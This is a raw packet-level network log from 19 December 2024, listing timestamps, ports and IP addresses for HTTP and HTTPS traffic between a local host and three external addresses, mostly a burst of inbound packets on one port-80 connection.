Dec 19, 2024 20:11:33.872786999 CET	49813	80	192.168.2.4	185.215.113.43
Dec 19, 2024 20:11:33.873127937 CET	49835	80	192.168.2.4	185.215.113.43
Dec 19, 2024 20:11:33.992651939 CET	80	49835	185.215.113.43	192.168.2.4
Dec 19, 2024 20:11:33.992727041 CET	80	49813	185.215.113.43	192.168.2.4
Dec 19, 2024 20:11:33.992738008 CET	49835	80	192.168.2.4	185.215.113.43
Dec 19, 2024 20:11:33.992883921 CET	49813	80	192.168.2.4	185.215.113.43
Dec 19, 2024 20:11:33.993206978 CET	49835	80	192.168.2.4	185.215.113.43
Dec 19, 2024 20:11:34.112710953 CET	80	49835	185.215.113.43	192.168.2.4
Dec 19, 2024 20:11:34.229666948 CET	443	49832	104.21.91.209	192.168.2.4
Dec 19, 2024 20:11:34.229748964 CET	49832	443	192.168.2.4	104.21.91.209
Dec 19, 2024 20:11:34.230921030 CET	49832	443	192.168.2.4	104.21.91.209
Dec 19, 2024 20:11:34.230930090 CET	443	49832	104.21.91.209	192.168.2.4
Dec 19, 2024 20:11:34.231161118 CET	443	49832	104.21.91.209	192.168.2.4
Dec 19, 2024 20:11:34.235619068 CET	49832	443	192.168.2.4	104.21.91.209
Dec 19, 2024 20:11:34.235744953 CET	49832	443	192.168.2.4	104.21.91.209
Dec 19, 2024 20:11:34.235775948 CET	443	49832	104.21.91.209	192.168.2.4
Dec 19, 2024 20:11:35.091742039 CET	443	49832	104.21.91.209	192.168.2.4
Dec 19, 2024 20:11:35.091847897 CET	443	49832	104.21.91.209	192.168.2.4
Dec 19, 2024 20:11:35.091896057 CET	49832	443	192.168.2.4	104.21.91.209
Dec 19, 2024 20:11:35.110217094 CET	49832	443	192.168.2.4	104.21.91.209
Dec 19, 2024 20:11:35.110239029 CET	443	49832	104.21.91.209	192.168.2.4
Dec 19, 2024 20:11:35.346671104 CET	80	49835	185.215.113.43	192.168.2.4
Dec 19, 2024 20:11:35.346786022 CET	49835	80	192.168.2.4	185.215.113.43
Dec 19, 2024 20:11:35.349721909 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:35.350306988 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:35.366908073 CET	49843	443	192.168.2.4	104.21.91.209
Dec 19, 2024 20:11:35.366946936 CET	443	49843	104.21.91.209	192.168.2.4
Dec 19, 2024 20:11:35.367010117 CET	49843	443	192.168.2.4	104.21.91.209
Dec 19, 2024 20:11:35.367383957 CET	49843	443	192.168.2.4	104.21.91.209
Dec 19, 2024 20:11:35.367397070 CET	443	49843	104.21.91.209	192.168.2.4
Dec 19, 2024 20:11:35.469907999 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:35.469917059 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:35.470027924 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:35.470029116 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:35.470248938 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:35.590713978 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:36.583602905 CET	443	49843	104.21.91.209	192.168.2.4
Dec 19, 2024 20:11:36.583698034 CET	49843	443	192.168.2.4	104.21.91.209
Dec 19, 2024 20:11:36.585108042 CET	49843	443	192.168.2.4	104.21.91.209
Dec 19, 2024 20:11:36.585119009 CET	443	49843	104.21.91.209	192.168.2.4
Dec 19, 2024 20:11:36.585350037 CET	443	49843	104.21.91.209	192.168.2.4
Dec 19, 2024 20:11:36.587577105 CET	49843	443	192.168.2.4	104.21.91.209
Dec 19, 2024 20:11:36.587688923 CET	49843	443	192.168.2.4	104.21.91.209
Dec 19, 2024 20:11:36.587723017 CET	443	49843	104.21.91.209	192.168.2.4
Dec 19, 2024 20:11:36.587795019 CET	49843	443	192.168.2.4	104.21.91.209
Dec 19, 2024 20:11:36.587805033 CET	443	49843	104.21.91.209	192.168.2.4
Dec 19, 2024 20:11:36.798912048 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:36.798954964 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:36.799021959 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:36.799050093 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:36.799118996 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:36.799129963 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:36.799263000 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:36.799278975 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:36.799329996 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:36.799335957 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:36.799385071 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:36.799674988 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:36.799705029 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:36.799736023 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:36.799747944 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:36.799755096 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:36.799768925 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:36.799793959 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:36.799823999 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:36.918751001 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:36.918821096 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:36.918859959 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:36.919001102 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:36.922868967 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:36.922923088 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:36.922938108 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:36.922974110 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:36.991291046 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:36.991354942 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:36.991365910 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:36.991394043 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:36.995393038 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:36.995572090 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:36.997368097 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:36.997433901 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:36.997498035 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:36.997548103 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.005307913 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.005362034 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.005384922 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.005451918 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.013658047 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.013720989 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.013741970 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.013803005 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.022034883 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.022089005 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.022259951 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.022341013 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.030428886 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.030510902 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.030585051 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.030632973 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.038815975 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.038876057 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.038907051 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.038958073 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.047252893 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.047336102 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.047343969 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.047386885 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.055624962 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.055708885 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.055741072 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.055794001 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.063209057 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.063286066 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.063322067 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.063375950 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.070439100 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.070501089 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.070516109 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.070570946 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.110955000 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.111042023 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.111054897 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.111090899 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.183393002 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.183479071 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.183511972 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.183567047 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.185657978 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.185715914 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.185739040 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.185787916 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.190154076 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.190268040 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.191773891 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.191837072 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.191921949 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.191982985 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.196283102 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.196345091 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.196378946 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.196441889 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.200752974 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.200855970 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.200925112 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.201013088 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.205275059 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.205363035 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.205363989 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.205415010 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.209865093 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.209953070 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.209979057 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.210012913 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.214349985 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.214442968 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.214504004 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.214593887 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.218766928 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.218851089 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.218883038 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.218938112 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.223295927 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.223366022 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.223395109 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.223450899 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.227782965 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.227843046 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.227869034 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.227981091 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.232251883 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.232345104 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.232362986 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.232398987 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.236687899 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.236757994 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.236821890 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.236953020 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.241267920 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.241345882 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.241467953 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.244740009 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.244805098 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.244817972 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.244879007 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.248234034 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.248301029 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.248363018 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.248447895 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.251683950 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.251730919 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.251784086 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.251842976 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.255201101 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.255306959 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.255322933 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.255373955 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.258701086 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.258775949 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.258807898 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.258881092 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.262243032 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.262250900 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.262330055 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.375561953 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.375642061 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.375669956 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.375722885 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.376360893 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.376419067 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.376421928 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.376471043 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.378026962 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.378082037 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.378292084 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.378483057 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.381128073 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.381192923 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.381226063 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.381283998 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.383546114 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.383553028 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.383611917 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.386600971 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.386673927 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.386686087 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.386748075 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.388855934 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.388942003 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.388958931 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.388986111 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.391345024 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.391400099 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.391441107 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.391490936 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.394043922 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.394108057 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.394181013 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.394234896 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.396528006 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.396645069 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.396684885 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.396747112 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.399204016 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.399272919 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.399297953 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.399400949 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.401683092 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.401762962 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.401801109 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.401863098 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.404396057 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.404459953 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.404476881 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.404520035 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.406955957 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.407068968 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.407072067 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.407119036 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.409598112 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.409661055 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.409749985 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.409826040 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.412175894 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.412223101 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.412230015 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.412262917 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.414635897 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.414684057 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.414693117 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.414743900 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.417463064 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.417535067 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.417568922 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.417629004 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.419760942 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.419856071 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.419900894 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.419939995 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.422310114 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.422372103 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.422408104 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.422462940 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.424943924 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.425002098 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.425034046 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.425107956 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.427545071 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.427606106 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.427627087 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.427695036 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.430147886 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.430284023 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.430331945 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.432652950 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.432724953 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.432761908 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.432815075 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.435281038 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.435328960 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.435347080 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.435389042 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.437829971 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.437886000 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.438018084 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.438097000 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.440455914 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.440505028 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.440552950 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.440615892 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.443003893 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.443070889 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.443274975 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.443336010 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.445679903 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.445811987 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.445839882 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.445893049 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.448143005 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.448214054 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.448259115 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.448303938 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.450717926 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.450788021 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.450817108 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.450876951 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.453353882 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.453408957 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.453442097 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.453490973 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.455930948 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.455995083 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.456012011 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.456091881 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.458493948 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.458556890 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.458585024 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.458647013 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.461139917 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.461205006 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.461235046 CET	80	49842	31.41.244.11	192.168.2.4
